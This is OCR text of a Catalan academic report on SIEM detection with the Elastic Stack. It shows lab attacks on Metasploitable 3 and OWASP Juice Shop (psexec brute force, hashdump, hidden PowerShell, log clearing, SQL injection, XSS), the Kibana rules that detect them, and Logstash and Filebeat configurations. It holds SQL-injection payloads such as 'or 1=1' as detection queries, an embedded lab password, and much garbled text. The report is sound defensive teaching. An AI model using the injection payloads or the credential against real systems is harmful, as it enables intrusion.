Sesson | #1 || Bleiaorgana 35| Zroot @ started | . (2680) | with result | success
> R O Apri5 2020 @8558 [— user-login horized 1404 -
Sesson | #1 | Zlelaorgana @ metasploitable3-ubl404  waes authorized louse | > just/binjsudo ||| [2680) withresull | success I
> R DO 1Apri5 2020 @ 185100735  (— user-login authenticated metaspioitable3-ubl404 -
Session | # 1 £ leia_organa @ > (2677)  with resuit | fail
> [ O [Apr152020@ 185059387 [ — user-login authenticated metasploitabled-ub1404 -
Session | # 1 £ leiaorgana @ > (2677)  with resut | fail
49 ~ of as Evenis @ Updated 1 minute ago
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Captura 112: Timeline d’accions 2

E B sev Hosts metasploitable3-ubld... | Events
B~ Search X ¥y Untitled Timeline Description
@ @& +Addfilter
i
“ hast.name: “metasploitable3-ub1404* X | N0 || not event.category: netwark_traffic™ X E
@timestamp & message i
5l rop here to build an OR query H
> 1ApriS 2020 @18:56:17784  i— -
B o Fiter ~ [~ Search KQL ® Rawevents
& ©  + Add fiter
@ [T O —— Columns  @timestamp message event category event action host.name sourc
3 > T © [Apri5 2020 @18:56:31.985 Process vi (PID: 2810) by us... |— process_started metasploitable3-ub1404 —
,_\ S ot @ metasploitable3-ubl404 in | B3 fetc  started process | . wvi (2810) vi hosts  via parent procass | (2682) I
N
# b141278bfbdf0e0cf18e7ee000ab?4c54d14c068
=
=l b Apr 15, 2020 @ 18:58:15.777 - © Process vi (PID: 2810) by user root STARTED
> § O [Apri5 2020 @ 185628857 — — deleted metasploitable3-ub1404 —
& metasploitable3-ub1404  deleted a filein | [ fetchhosts.swpx  via an unknown process
@ > [Apri5 2020 ®18:58:14772 —
> ﬂ ©  [Apr15 2020 @ 18:56:28.856 - - created metasploitable3-ub1404 -
@ metasploitable3-ub1404 | created afilein | [ fetc/hosts.swp | via an unknown process

Apr 15,2020 @ 18:56:27780 [ — — deleted metasploitable3-ub1404 —

&)
k=
0

metacploilable3-ub1404 | deleted  fiein || [ fetchhoste.swp | via an unknown process

25 v~ of 1820 Events

49+ of 49 Events

Captura 113: Timeline d’accions 3

@ Updated 2 minutes ago

z [l  s5eM Hosts metasploitabled-ubld..  Events
B~ Search X ff Untitled Timeline Description ~ Apr15,2020 @18:4% - Apr15, 2020 @ 18:5
@ @+ Addfilter N
[} o host.name: i " % | ano ry: "network_traffic” x
EVeﬂtS } Drop here to build an OR query
o) Showing: 1820 events wo Fiter ~ [\ Search KaL ® Rawevents
& @timestamp & — @+ Add filter
& > Apris 2020 @ia:seRTEd  (— = Columns  @timestamp - message event.category event.action host.name sourc
8 @ index auditbeal-7.6.2-2020.04.05-000001
@ score 1 1
5] @/ type _doc
> iApt152020 @ 1855616780 |— 04122546 0200-4530- 6255
=] pr @ ¢ [agent.ephemeral_id 2i7%efd3dbse
g ¢ [agenthostname metasploitable3-ub 404
¢ Togentid 4047856b-007¢-4297-a53a-
& o 6occl 3620408
3 1Apri5, 2020 @ 18:5815.777 - t [agentype auditbeat
¢ t iagentersion 762
@ ¢ [lecs version 140
@ t [eventaction updated
@ ¢ [event.dataset e
> iApris 2020 @ 18:56:14772  (—
¢ [ eventmodule file_integrity
= 49 ~ of 49 Events ® Updated 3 minutes ago

Captura 114: Creaci6 de la regla SQL-Injection

SIEM | Dstections  Signal detection rules |~ Create 6 =@

° Define rule & Edit
@
[
Index patterns Custom query
packetbeat-+ url.query : *%27+0R+1%3D1* or url.query : *%27+or+1%3D1
e}
& . About rule & Edit
&
a Name Risk score
SQL-Injection-Url-query 70
8
Description Investigate detections using this timeline template
=] Es comprovar si al parametre url.query apareix la setenciaor1=1  Default blank timeline
o Severity Tags
® High Salinjection  Packetbeat
@
@
@ e Schedule rule & Edit
@

Runs every
5 Minutes

Rules run periodically and detect signals within the specified time frame.
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ignals (SIEM Detections

Signal count

Signals

@timestamp Rule Version Method Severity Risk Score event.module

Captura 115: Detecci6 del signal SQL-Injection

Signals (SIEM Detections) G

) External alerts

Stackby  signal.rule.risk_score

Open signals Closed signals

event action event.category

8.2.2.6.2. Metasploitable 3: Windows 2008 R2
Captura 116: Nmap de Windows
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Captura 117: Nmap de Windows 2

8.2.2.6.2.1. Forca bruta i exploit
mitjancant psexec

Captura 118: Obtenci6 de la contrasenya per forga bruta
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Captura 119: Exploit psexec

> |:| .

Captura 120: Accés al meterpreter
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Captura 121: Hashdump

. if running a comma

1017:

ren:1018:
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B seM Detections  External alerts

Captura 123: Alerta de network trojan

message age

A Network Trojan was detec... JOC

[~ Search KaL »  Last 30 minutes
@ @& +Addfilter
g
External alerts
& Showing: 35 external alerts
jm}
@timestamp & event.module event dataset event.category event severity hostname
& ~  1ApriB 2020 @ 11:53:48510  fsuricata f suricata.eve | network traffic i Fsuricata.mistic.sb
@ Table JSON Vi
iew
a
QU Filter by Field, Value, or Description.
@
(=] Field Value Description
@ O Gtmessmp 1 Apr 18,2020 (@ 115348510
) @i 1 nJO1HEBUIIMUSUMYPIA
& @ _index ifilebeat-7.6.2-2020.04.04-000001
@ _score H
¢ @ _type f.doc
- t | agent.ephemeralid 1 c1ddead-8617-48ab-138- 21687405208
t | agenthostname 1 suricata.mistic.lab
& @ t agentid 100463008-b8eS-46c2-a141-54047 5604166
@ t oagentive ifilebeat
t | agentversion i7.62
t | destination.address 1192.162.43.104
Captura 124: Signatura del Suricata
E B sev Detections  Externalalerts
B~ Search KQL  f@ >~ Last 30 minutes
@ &  +Addfiter
[
External alerts
Showing: 35 extemal alerts
e}
@timestamp event module event dataset event category event severity host.name
& t | suricata.eve alert.category 1A Metwork Trojan was detected
é # | suricata.eve.alert.gid LI
a t | suricata.eve.alert.metadata.affected_product Tany
t | suricata.eve.alert.metadata.attack_target i Cient_and_Server
@ t | suricata eve.alert.metadata.created_at 12016.05.16
i Datacenter
-
= t | suricata.eve.alert metadata deployment | T
h o Tinternet
) 1 Perimeter
o t | suricata.eve alertmetadata.former_category ITROJAN
G- t | suricata.eve.alert.metadata signature_severity | Critical
@ t | suricata.eve.alert.metadata.tag | Metaspioit
t | suricata.eve.slert.metadata.updated_at 12018 0709
o
v # [ suricata.eve.aler.rev i
@ i ET MALWARE Possible Metasploit Payload
t suricata.eve.alerL.signature  Common Construct Bind_APIfrom
# | sunicata.eve.alenLsignature_id 12025644
t | suricata.eve.event_type falert
=

message age

134

o = @

Show dates -

@

Timeline ~

o = @

Show dates -

5

Timeline ~




Captura 125: Intents fallits d’accés amb un usuari

N

B seM Hosts winmetaspioitdmistic...  Authentications e @ @

@ @& +Addfilter
g
= Authentications Uncommon processes Events External alerts

& Authentications

<
& o
@ . &
1]
a8 H ® suthentication_failure E
;
6
) :
:
- : .I
:
. H - —
“J 0418 1125 04-18 11:30 [TEURIE 0418 11:40 04-18 1145 04181150
@
- _—
¥ Authentications
& Showing: 8 users
User ‘Successes Failures Last success Last successful source Last failure Last failed source
SYSTEM " 0 18 minutes ago - — —
= vagrant 3 7 4 minutes ago 192.168.43.142 5 minutes ago -

Captura 126: Processos no comuns

N

B seM o Hosts wine it3.mistic.... | L o = @

B~ Search KQL @ Last 30 minutes Show dates

@ & | agentiype: auditbeat x |+ Add filter

Al values retumed zero All values returned zero Al values returned zero Al values returned zero
e}
£
- <
@ Authentications Uncommon processes Events External alerts @
e
]
a £
=

) Uncommoen processes -

Shawing: 4 processes

=]
o Process name Instances Last command Last user
5 fconhost.exe 1 §\?MC:\Windows\system32\conhost.axa [NT AUTHORITY\SYSTEM
L mme.exe 1 CWindows\systemazimm. exe MISTIC\Administrator
v +1 More
powershell.exe 1 O\powar | NT AUTHORITY\SYSTEM
- shelLexe
- 8 More
® winlogbeat exe 1 [ CProgram Files\Winlogbeatiwiniogbeat.exe NT AUTHORITYSYSTEM
+10 More
1
=
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Captura 127: Detall dels processos

SIEM | Hosts | winmetasploit3.mistic.... = Events

e O

& | agentaype: auditbeat x |+ Add filter
Event
ents a
Showing: 97 events
<
@timestamp & message host.name event.action user.name sou 2
> 1Apri8, 2020 @ 11:53:50.08¢  Process system process. process_started NT AUTHORITYASYSTEM - g
[
£ NT AUTHORITYISYSTEM @ misticiab | in| B started process || »_ powershellexe | (5308) exe | || -noni
wnop | -w ||| hidden | -c i bie bie System.i0. i bi
GxJbFLEiIm]UJmpgUL q IR524Q9GTBLIPLI MNCIQIfYoZr e+t JOLXGESIGW
via parent process | (6816)
A 36851
© Process powershell.exe (PID: 5308) by user NT AUTH uss
> 1ApriB 2020 @ 11:53:50.089  Process conhostexe (PID: 7. | winmetasploitd.misticlab system process process_started NT AUTHORITY\SYSTEM =
£ NT AUTHORITY\SYSTEM @ misticlab in| B C: 3. | (7082) ?? via parent process

> [ApriB, 2020 @ 11:53:40.108  Pracess WmiPrvSE.exe (PID:

(360)

*

0 Process conhost.exe (PID: 7092) by user NT AUTHORI soe

NT AUTHORITY\SYSTEM =

Captura 128: Connexions amb SSH al servidor

SIEM Hosts winmetasploit3.mistic.... Events

B~ Search X {%  Untitled Timeline Description B v Apr18 2020 @11:53: - Aprig, 2020 @ 11:5
@ | agent.type: auditbeat x | + Add filter = = = = == 3
H
H
Firstseen Drop anything | highighted  here to build an  os  query 1
Apr 6,2020 @ 19:53:41.694 H
H
Last seen
1hour ago awo Filter ~ [~  hostname: mistic.lab and agent.type: and not port: 9200 KQL @ Rawevents v
®  +Add fiter
Columns ~ @timestamp ™ message ‘event.category ‘event.action host.name sourc
> B 0 lApr18,2020@ 1 - network_traffic network_flow winmetasploit3 mistic.lab 192
User authentications > =
® s 704101000ms 38KB | 342pkts | tep | 1:aCKBK/Ohn7QLCYHAnBziddtwVjo=
~ 0 success © Apr 18, 2020 @ 11:53:02.621 Source (2702%) 10.3kB 148 pkts Destination
O© Apr 18,2020 @ 11:53:50320 | 1192168.431 : | 47058 [ (72.98%) 27.7K8 194 pkts. 192168.43142 122 |7
> B O [Apri8 2020115350563 [— network_traffic network_flow winmetasploit3.mistic.lab 192
©ons 13K8 | 10pkts | tcp | T:aNusLdRojeM4ZepSpfSeLXJcFBA=
Al values retumed zero @ Apr 18, 2020 @ 11:53:26.169 Source (69.18%) 8898 6 pkts Destination
© Apr18,2020 @ 11:53:26169 192168431 : | 60880 (30.82%) 3968 4pkts 192168.43.100 : 15601
> R O |Apri8,2020@ 115350583 [— network_traffic network_flow winmetaspioit3.mistic.ab 192
i ® 95 538.085900ms 37KB | lapkts | tep | TLuFFOVIBYB3UTYPUyiucMCOGMCYs
@ Apr 18,2020 @ 11:53:26.169 Source (64.39%) 2.4K8 8 pkts Destination
O Apr 18,2020 @ 11:53:35707 | 192168.431 : | 60881 (35.61%) 1.3kB 8 pkts 192.168.43100 : 5601
VM m Sasmemanmosinenens Ve i nn
Events
25 v of 251 Events Load more ® Updated 13 seconds ago
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Captura 129: Connexions des del servidor

SIEM Hosts winmetasploit3.mistic.... Events

B~ Search X {%  Untitied Timeline Description B v Apr18 2020 @ 11:53: - Aprig, 2020 @ 11:5
@ | agent.type: auditbeat x | + Add filter = = s = ===
seen Drop anything | highlighted  here to buildan o8  query
Apr 6, 2020 @ 19:53:41.694
Last scen
1hour ago amo Fiter ~ [ v hostname: mistic.lab and agent.type: and not port: 9200 KQL e Rawevents
®  +Add filter
Columns ~ @timestamp message event.action host.name sourc
o
@ Apr 18, 2020 @ 11:53:31.009 (47.37%) 1088 2pkts Destination
User authentications O Apr 18,2020 @ 115331009 | 192168.43104 : 149505 (5263%) 1208 2pkts 192168.43101 : (135
v 0 success > B O 1Apri8 2020@ 115350583 (— network_traffic network_flow winmetasploit3mistic.lab 192
® 15 804887500ms 2058 | 105pkts | tep | TuhFNXEXOZRKN[ZVUABUAKACQQA=
® Apr 18, 2020 @ 11:53:47035 Source. (69.50%) 143K 68 pikts Destination
O Apr18, 2020 @ 11:53:48839  |192168.43142 : {30835 (30.50%) 6.3kB 37 pkts 102.168.43.104 : | 445
Al values retumed zero
> T © Apr18,2020@115350583 [— network_traffic network_flow winmetasploit3mistic.iab 192
© 15 50.781300ms 3673KB | 320pkts | tcp | 1wLBONu/NQBcnLq+TIaZcTG7Hae=
© Apr 18, 2020 @ 11:53:48.501 Source (2.24%) 8.2KB 67 pkts Destination
: © Apr 18,2020 @ 1153:50.552  [192168.43104 : | 49656 (97.76%) 359.1K8 253 pkts 192168.43142 : 14444
> R O iAp18,2020@15350583 [— network_traffic network_flow winmetasploit3.mistic.lab 192
4828 | dpkts | udp | LGmMaNbninSW3VieswsliefJIYatks
) ne
Events
25 v of 251 Events Load more © Updated 20 seconds ago

Captura 130:

SIEM = Detections =~ External alerts

B~ Search X fy Untitied Timeline Description
@+ Addfilter
cexierndl dier L cournt o ‘suricata.eve.alert.category: "A Network Trojan was detected” X

Showing: 54 external alerts

p here to build an OR query

Origen de l'atac servei SMB

o = @

& @

Last 24 hours

0 wo Fiter ~ @)~ Search KOL  ® Rawevents ~
2
. ©  +Add filter
1
» = Columns @timestamp L message event.category event.action host.name sourc
s . categary T
o m— I — ¢ [rcaReveslertmetacatapertor
02181200 04-18 1500 mance_impact
suricato.eve dert metadata sgnaty
re_severity
i I
o (cﬁla evealertmetodatopdate oo o
External alerts -
# [ suricata.eve alertrev 2
Showing: 54 external alerts
ET POLICY Powershell Command With
t [ suricata.eve alert signature Naninteractive Argument Over SMB -
@timestamp L event module Likely Lateral Movement
t ' source address # | suricata.eve.alert.signature_id 2025724 I
# | source bytes # | suricata.eve.event_type alert (@
@i sourceip ¢ [suricata.eve flow_id 1958749053950515
# | source.packets ¢ | suricata.eve.in_iface ens33
# ! source.port
t | suricata.eve.aler.category 1~ of n Events @ Updated 5 minutes ago
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Captura 131: Neteja del visor d'esdeveniments

source i

B seM Hosts | winmetasploitdmistic... | Events
[~ Search X ¥y Untitled Timeline Description Nates o B @ Apri8, 2020 @11:53: - Apri8, 2020@ 115
& | agentaype: auditbeat x |+ Add filter f
H
User authentications ! Drop anything | highlighted | here to build an o= | query
H
~ 0success !
:
wo Fiter v [~  eventcode:1102 oL
©  +Add filter
Al values returned zero
‘£ Columns  @timestamp T~ message event.category event.action host.name
> B © [Apri8,2020@1:54:54681  The audit log was cleared. 5. [— Log clear winmetasploit3.mistic.lab

Authentications

Events

Uncomman processes

418 1154

1~ of 1 Events

@ Updated now .

Captura 132: Regla de network trojan del Suricata

SIEM = Detections = Signal detection rules = Create

° Define rule

Index patterns
filebeat-*

. About rule

Name
Network_Trojan

Description
Network_Trojan detectat pel Suricata

Severity
® Critical

e Schedule rule

Runs every
5 Minutes

Rules run periodically and detect signals within the specified time frame.

& Edit

Custom query
suricata.eve.alert.category: A Network Trojan was detected

& Edit

Risk score
0

Investigate detections using this timeline template
Default blank timeline

Tags

Custom  Suricata  Network

Captura 133: Regla hashdump

SIEM = Detections = Signal detection rules = Create

° Define rule

Index patterns
auditbeat-*

. About rule

Name
Hashdump

Description
Procés de Hasdump generat.

Severity
® Critical

e Schedule rule

Runs every
5 Minutes

Rules run periodically and detect signals within the specified time frame.

138

& Edit

Custom query
process.hash.shat :
“c044ad82d0b5fe82a4030fcBee3d353h1362857e"

& Edit

Risk score
100

Investigate detections using this timeline template
Default blank timeline

Tags

Custom  Windows  Trojan

Timeline ~

Timeline ~




Captura 134: Signal hashdump i network trojan

N
[C]

Detections ~ Signals (SIEM Detections) © 2 @

2~ KQL [l Last 30 minutes
® ©  +Addfiter
[ind R -
Signals (SIEM Detections) External alerts
=l
& Slgna‘ count Stackby  signal.rule.risk_score ~
y ¢
2 ' £
=] 0 =
@
=]
. |
&
il
- Signals Open signals Closed signals
® ] elected (3 Select all 11 signals
@timestamp |- Rule Version Method Severity Risk Score event module event action event category
=® > Hashdump ' ey critical system existing_process -
= = ® > query critical suricata network_traffic

8.2.2.6.3. Web Security Dojo
8.2.2.6.3.1. SQL Injection

Captura 135: SQL-Injection

<« c @ © & 192.168.43.105 r -9 0w @ ® =

' OWASP Juice Shop #)login £ Contact Us

Captura 136: Login SQL-Injection

<« c @ © & o 192.168.43.105: . o @ ® =

' OWASP Juice Shop © @logout (QContactUs Y YourBasket

You successfully solved a challenge: Login Admin (Log in with the administrator's user account.)

All Products

Apple Juice (1000mi) The all-time classic.

Apple Pomace Finest pressings of apples. Allergy disclaimer: Might contain traces of worms. Can be se
5 back for recycling.
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[ Detections - Kibana x [ Services| APM

Captura 137: Alertes del Suricata

x| +

€ & C A Noseguro | elasticstack iclab:5601/app/si

. SIEM = Detections = External alerts

tions/alerts?timerange=

imerange:(from: 1587488187047 fromStenow-24hkindrelat.. 8 @ % & &« K ‘g &

@ ¢

[~ Search ~  Last 24 hours Show dates
® @  +Add filter
il
L Showing: 33 external alerts
Eal
@timestamp event.module event.dataset event.category event.severity observer.name host.name
J -
. . | SURICATA HTTP Request unrecognized
icata.eve alert.signature
t | suricata.eve alert.signatur [ ization
# | suricata.eve alert.signature_id 12221034
t | suricata.eve.event_type falert
2 t | suricata.eve.flow._id {316062072009577
lﬁ t | suricata.eve http.http_content_type [ application/fjson
D
# | suricata.eve.http.http_port 3008
= t | suricata.eve.http.protocel THTTPA
N t suricata.eve.in_iface ! en:
4 i in_if lens33
g Suricatacvemetadatafowintshitpano
& maly.count
# suricata.eve.tx_id iz
¥ t tags ! suricata
o t | url.domain 1192.168.43.105
t " urloriginal { frest/product/search?q=
-
- t urlpath { Irest/product/search
Captura 138: HTTP Requests
& Network - Kibana x [ Services| APM x| + - a X
€ C A Noseguro | i istic.lab:5601/app/sis ip/192.168.43.105, i s cA(timeline), 1587571624417from.. & Q & & X K n® . i
E B stV nNework 19216843105 o = @
B v Search KQL Last 1 hour Show dates
® @  +Add filter
o]
. HTTP Requests =
Showing: 35 requests
&
Method Domain Path Status Last host Last source Ip Requests <
e get 192.168.43.105 Jsocket.io 200 suricatamistic.lab 192.168.43.1 4 ]
get 192.168.43.105 Jassets/public/favicon_js.ic 200 suricata.mistic.fab 192.168.43.1 3 'E
b =
8 post 192.168.43.105 Jrestjuser/iogin 200 suricata.mistic.fab 192.168.43.1 3
3 get 192.168.43.105 Jassetsfi18n/en json 200 suricata.mistic.fab 192.168.43.1 2
b get 192.168.43.105 Jassets/public/images/Juic 200 suricata.mistic.lab 192,168.43.1 2
5 eShop_Logo.png
iget 192.168.43.105 jassets/publicfimages/pro 200 ! suricatamistic.lab 192.168.43.1 2
g ucts/apple_juice.jog
get 192.168.43.105 Jassets/publicfimages/pro | 200 suricata.mistic.ab 192.168.43.1 2
& ducts/apple_pressings.jpg
get 192.168.43.105 Jassets/public/images/pro 1200 suricata.mistic.lab 192.168.43.1 2
@ ducts/banana_juice.jpg
@ get 192.168.43.105 Jassets/public/images/pro 200 suricata.mistic.lab 192.168.43.1 2
v ducts/carrot_juice jpeg
. get 192.168.43.105 Jassets/publicfimages/pro | 200 suricata mistic.lab 192.168.43.1 2
» ducts/eggfruit.juice.jpg
=2
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Captura 139: Registre APM 1

x L Serices| APM x ‘ + = o X

A Noseguro | elasticstack.misticlab:5601 /app/si k/ip/192.168.43. timerang inklor|(imeline) fimerangei{from:1587571624417from... B @ % & X K o ® [ I

B sev Network 192168.43105 e = @
B~ | search Untitled Timeline Description © Notes 0 | @ Ev Lastlhour Show dates

@+ Add filter

B sev o Network

B~

Search

@+ Add filter

url.path: “Irest/userflogin® %

ano Filter ~ (@~ Search

HTTP Requests ©  + Addfiter

Showing: 35 requests

= Columns  @timestamp &

2
v
+
0

Apr 22,2020 @ 18:23:36111
> B O Apr22 2020 @ 18:23:3611

~ a O Apr22 2020 @ 18:23:35198

Table  JSON View

message event.category
- network_traffic
— network_traffic

Q) Filter by Fleld, Value, or Description.

Field
8 © atimestomp
@ .d

Value Description

Apr 22, 2020 @ 18:23:35.198
Y¥ZazonEBksYfmvQe1phR

KaL ® Raw events v

event.action host.name sourc |
— suricata.mistic.lab 192
- suricatamistic.lab 192
- dojo-VirtualBox 192

4~ of a Events

Captura 140: Registre APM 2

192.168.43.105

X §¥  Untitled Timeline Description

on url.path: “Irest/userflogin® %

Drop here to build an OR query

wo Filter ~ @~ Search

HTTP Requests & + Addfiter

Showing: 35 requests

iE Columns  @timestamp

http.response. headers.X-Powered-
De @ 8y

*

hitp.response status_code

-

hitp.version

@/ observer.ephemeral_id

-

observer.hostname

® ! observer.id

-

abserver.type

observer.version

w -

observer.version_major

message event.category

ac383e3a-d7cc-4d1a-87ff-
ded3d34e547f

elasticstack mistic.lab

OeafdB883-6023-4441-0fff-
f28fa35471a9

apm-server
782
7

@® Updated 3 minutes ago

e = @

N 1

KaL ® Raw events v

event.action host.name sourc

4~ of a Events

141

@ Updated 9 minutes ago



Captura 141: Registre APM 3

E B sev newok 19216843105
B~ Search X ¥¥  Untitled Timeline Description
@ @ +Add filter H
url path: “irest/userflogin® X

Drop here to build an OR query

o = @

Last 1 hour

ano Filter ~ (@)~  Search KaL ® Raw events v
HTTP Requests © .+ Addfiter
Snowing: 35 requests
Columns  @timestamp message event.category event.action host.name sourc
e R——
o) Method De
@ t hostname dojo-VirtualBox
et
R E t | host.os.platform linux I
get -
"emair™ or -
3 ® ! nttp.request.bady.criginal gt am]
post
g ® | nttp.request.headers. Accept application/json, text/plain, *f*
3 get
http.request headers. Accept-
& get @ Encading gzip, deflate
o get @ C::j:;:“'“e“e“‘“mp" e5-E6 65:0=0.8,en-US;g=0.5,8n:920.3
- - ® | http.request headers. Connection keep-alive
-
w http.request.headers.Content- 0
@) anatn
ay get
= 4 ~ of a Events (@ Updated 8 minutes ago
nat
Captura 142: No filtratge per camp
K 192.168.43.105 - Kibana x [ Xibana x| + ) b
€« C A Noseguro | elasti i op 192.168.43.105 id43088300-84c0-11ea-a87a-cdddcliB00ac isOpentatimeran.. B Q % % X K G B [ I
Z @ sev network 19216843105 e = @
B v Search X ¢  Untitied Timeline Description B B~  Apr21,2020@18:1 - Apr22,2020@ 18:3 {:o:;
@ @  +Add filter
o] http.request.body.original: *{"email":* or 1=1;--""password":"aaa’}" X
&
1 Search KaL ® Raw events
t
& Lo y ®  +Add filter
&g Columns ~ @timestamp & message event.category event.action host.name source.i|
&
get 1
)]
=
&) get ¢
&
@
get i
@
-
= o v~ of o Events ©® Updated 1 minute ago

Rows per page: 10 v
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8.2.2.6.3.2. Atac XSS
Captura 143: Atac XSS

<« C @ © & -0 192.168.43.105 -9 0w N @O ® =

Captura 144: Informacié APM

E B ~ 1 ransactions  GET jrest/product/search e = @
® Ao 222 ms . 0.0 mpm
@
i Transactions duration distribution @
&d
]
¢
2]
&
/
@ Trace sample 1/1 Actions ~
= 2hours ago 421 Mms (100.0% of trace] | GET http://192.168.43.105:3008/rest/product/search?q= [[EXRILd  Firefox (75.0.)
o Timeline Metadata
&
Services @
@ 421ms
-
- % HTTP 2xx GET /rest/product/search 421ms
=

8.2.3. Escenari 2: Cloud Amazon Web Service

8.2.3.1. Obtencio de les dades
8.2.3.1.1. Logs d’aplicacié S3
8.2.3.1.1.1. Configuracions

Configuracio 1: Configuracié del Logstash

##Input dsection
#input { stdin { } }
input {
beats {
port => 5044
}
}
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filter {

grok {

match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:ip}, ?%{IP:ip}, ?%{IP:ip}
%{INT:http.request.bytes} \[%{HTTPDATE:timestamp}\] \"(?:9%{WORD:http.request.method}
%{NOTSPACE:url.path}(?: HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\"
%{NUMBER:http.response.status_code} (?:%{NUMBER:http.response.bytes}|-)

%{QS:http.request.referrer} %{QS:agent}" }

match => { "message" => "%{IPORHOST :clientip} %{USER:source.ip} %{USER:http.request.bytes}
\[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http.request.method} %{NOTSPACE:url.path}(?:
HTTP/%{NUMBER:httpversion})?|%{DATA:url.path})\" %{NUMBER:http.response.status_code}
(?:%{NUMBER:http.response.bytes}|-)"}

match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%({IP:ip} %{INT:http.request.bytes}
\[%{HTTPDATE:timestamp}\] \"(?:%{WORD:http.request.method} %{NOTSPACE:utl.path}(?:
HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\" %{NUMBER:http.response.status_code}
(?:%{NUMBER:http.response.bytes}|-) %{QS:http.request.referrer} %{QS:agent}" }

match => {"message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:ip} %{INT:http.request.bytes}
\[%{HTTPDATE:@timestamp}\] \"(?:%{WORD:http.request.method} %{NOTSPACE:url.path}(?:
HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\" %{NUMBER:http.response.status_code}
(?:9%{NUMBER:http.response.bytes}|-) %{QS:http.request.referrer} %{QS:agent}" }

match => { "message" => "%{IP:ip} ?%{IP:source.ip}, ?%{IP:ip}, ?%{IP:ip}, ?%{IP:ip}

%{INT:http.request.bytes} \[%{HTTPDATE:timestamp}\] \"(?:9%{WORD:http.request.method}
%{NOTSPACE:url.path}(?: HTTP/%{NUMBER:http.version})?|%{DATA:url.path})\"
%{NUMBER:http.response.status_code} (?:%{NUMBER:http.response.bytes}|-)

%{QS:http.request.referrer} %{QS:agent}" }
}

geoip {
source => "source.ip"
target => "geoip"
add_field => [ "[client][geo][location]", "%{[geoip][longitude]}" ]
add_field => [ "[client][geo][location]", "%{[geoip][latitude]}" ]
}
mutate {
convert => [ "[client][geo][location]”, "float" ]
}
date {
match => [ "timestamp" , "dd/MMM/yyyy:HH:mm:ss Z" ]
}
}

output {

elasticsearch {
hosts => ["https://elasticstack.mistic.lab:9200"]
index => "%{[@metadata][beat]}-%{[@metadata][version]}-%{+YYYY.MM.dd}"
user => "elastic"
password => "3l4s1cUs3r"

ssl_certificate_verification => false
}

stdout { codec => rubydebug { metadata => true } }

}

Configuracio 2: Configuracié del FileBeat AWS
HHHHHHHHHR AR A Filebeat Configuration Example #HHHHHHHHHHHHHHHH

# This file is an example configuration file highlighting only the most common

# options. The filebeat.reference.yml file from the same directory contains all the
# supported options with more comments. You can use it as a reference.

#

# You can find the full configuration reference here:

# https://www.elastic.co/guide/en/beats/filebeat/index.html

# For more available modules and options, please see the filebeat.reference.yml sample
# configuration file.

# Filebeat inputs
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filebeat.inputs:

# Each - is an input. Most options can be set at the input level, so
# you can use different inputs for various configurations.
# Below are the input specific configurations.

- type: log

# Change to true to enable this input configuration.
enabled: true

# Paths that should be crawled and fetched. Glob based paths.
paths:

- /dades/s3logs/logs/*

#- c:\programdata\elasticsearch\logs\*

# Exclude lines. A list of regular expressions to match. It drops the lines that are
# matching any regular expression from the list.
#exclude_lines: ["DBG']

# Include lines. A list of regular expressions to match. It exports the lines that are
# matching any regular expression from the list.
#include_lines: ["ERR', “"WARN']

# Exclude files. A list of regular expressions to match. Filebeat drops the files that
# are matching any regular expression from the list. By default, no files are dropped.
#exclude_files: ['.gz$]

# Optional additional fields. These fields can be freely picked

# to add additional information to the crawled log files for filtering
#fields:

# level: debug

# review: 1

### Multiline options

# Multiline can be used for log messages spanning multiple lines. This is common
# for Java Stack Traces or C-Line Continuation

# The regexp Pattern that has to be matched. The example pattern matches all lines starting with [
#multiline.pattern: M\

# Defines if the pattern set under pattern should be negated or not. Default is false.
#multiline.negate: false

# Match can be set to "after" or "before". It is used to define if lines should be append to a pattern
# that was (not) matched before or after or as long as a pattern is not matched based on negate.
# Note: After is the equivalent to previous and before is the equivalent to to next in Logstash
#multiline.match: after

Filebeat modules

filebeat.config.modules:
# Glob pattern for configuration loading
path: ${path.configl/modules.d/*.yml

# Set to true to enable config reloading
reload.enabled: false

# Period on which files under path should be checked for changes
#reload.period: 10s

Elasticsearch template setting

setup.template.settings:
index.number_of_shards: 1
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#index.codec: best_compression
#_source.enabled: false

4y
H

General

# The name of the shipper that publishes the network data. It can be used to group
# all the transactions sent by a single shipper in the web interface.
#name:

# The tags of the shipper are included in their own field with each
# transaction published.
#tags: ["service-X", "web-tier"]

# Optional fields that you can specify to add additional information to the
# output.

#fields:

# env: staging

# Dashboards
# These settings control loading the sample dashboards to the Kibana index. Loading
# the dashboards is disabled by default and can be enabled either by setting the

# options here or by using the “setup™ command.

#setup.dashboards.enabled: false

# The URL from where to download the dashboards archive. By default this URL

# has a value which is computed based on the Beat name and version. For released
# versions, this URL points to the dashboard archive on the artifacts.elastic.co

# website.

#setup.dashboards.url:

4y
o

Kibana

# Starting with Beats version 6.0.0, the dashboards are loaded via the Kibana API.
# This requires a Kibana endpoint configuration.
setup.kibana:

# Kibana Host

# Scheme and port can be left out and will be set to the default (http and 5601)

# In case you specify and additional path, the scheme is required: http://elasticstack.mistic.lab:5601/path
# IPv6 addresses should always be defined as: https://[2001:db8::1]:5601

#host: "elasticstack.mistic.lab:5601"

# Kibana Space ID

# ID of the Kibana Space into which the dashboards should be loaded. By default,
# the Default Space will be used.

#space.id:

Elastic Cloud

# These settings simplify using Filebeat with the Elastic Cloud (https://cloud.elastic.co/).

# The cloud.id setting overwrites the “output.elasticsearch.hosts™ and
# “setup.kibana.host options.

# You can find the “cloud.id™ in the Elastic Cloud web Ul.

#cloud.id:

# The cloud.auth setting overwrites the “output.elasticsearch.username™ and
# “output.elasticsearch.password” settings. The format is “<user>:<pass>’.
#cloud.auth:

Outputs

# Configure what output to use when sending the data collected by the beat.

# Elasticsearch output
#output.elasticsearch:
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# Array of hosts to connect to.
# hosts: ["elasticstack.mistic.lab:9200"]

# Protocol - either “http” (default) or “https’.
# protocol: "https"

# Authentication credentials - either API key or username/password.
#api_key: "id:api_key"

#username: "elastic"

#password: "changeme"

# Logstash output
output.logstash:

# The Logstash hosts

hosts: ["elasticstack.mistic.lab:5044"]

# Optional SSL. By default is off.

# List of root certificates for HTTPS server verifications

#ssl.certificate_authorities: ["/dades/s3logs/filebeat-7.6.2/ssl/certs/ca_server.pem"]

# Certificate for SSL client authentication

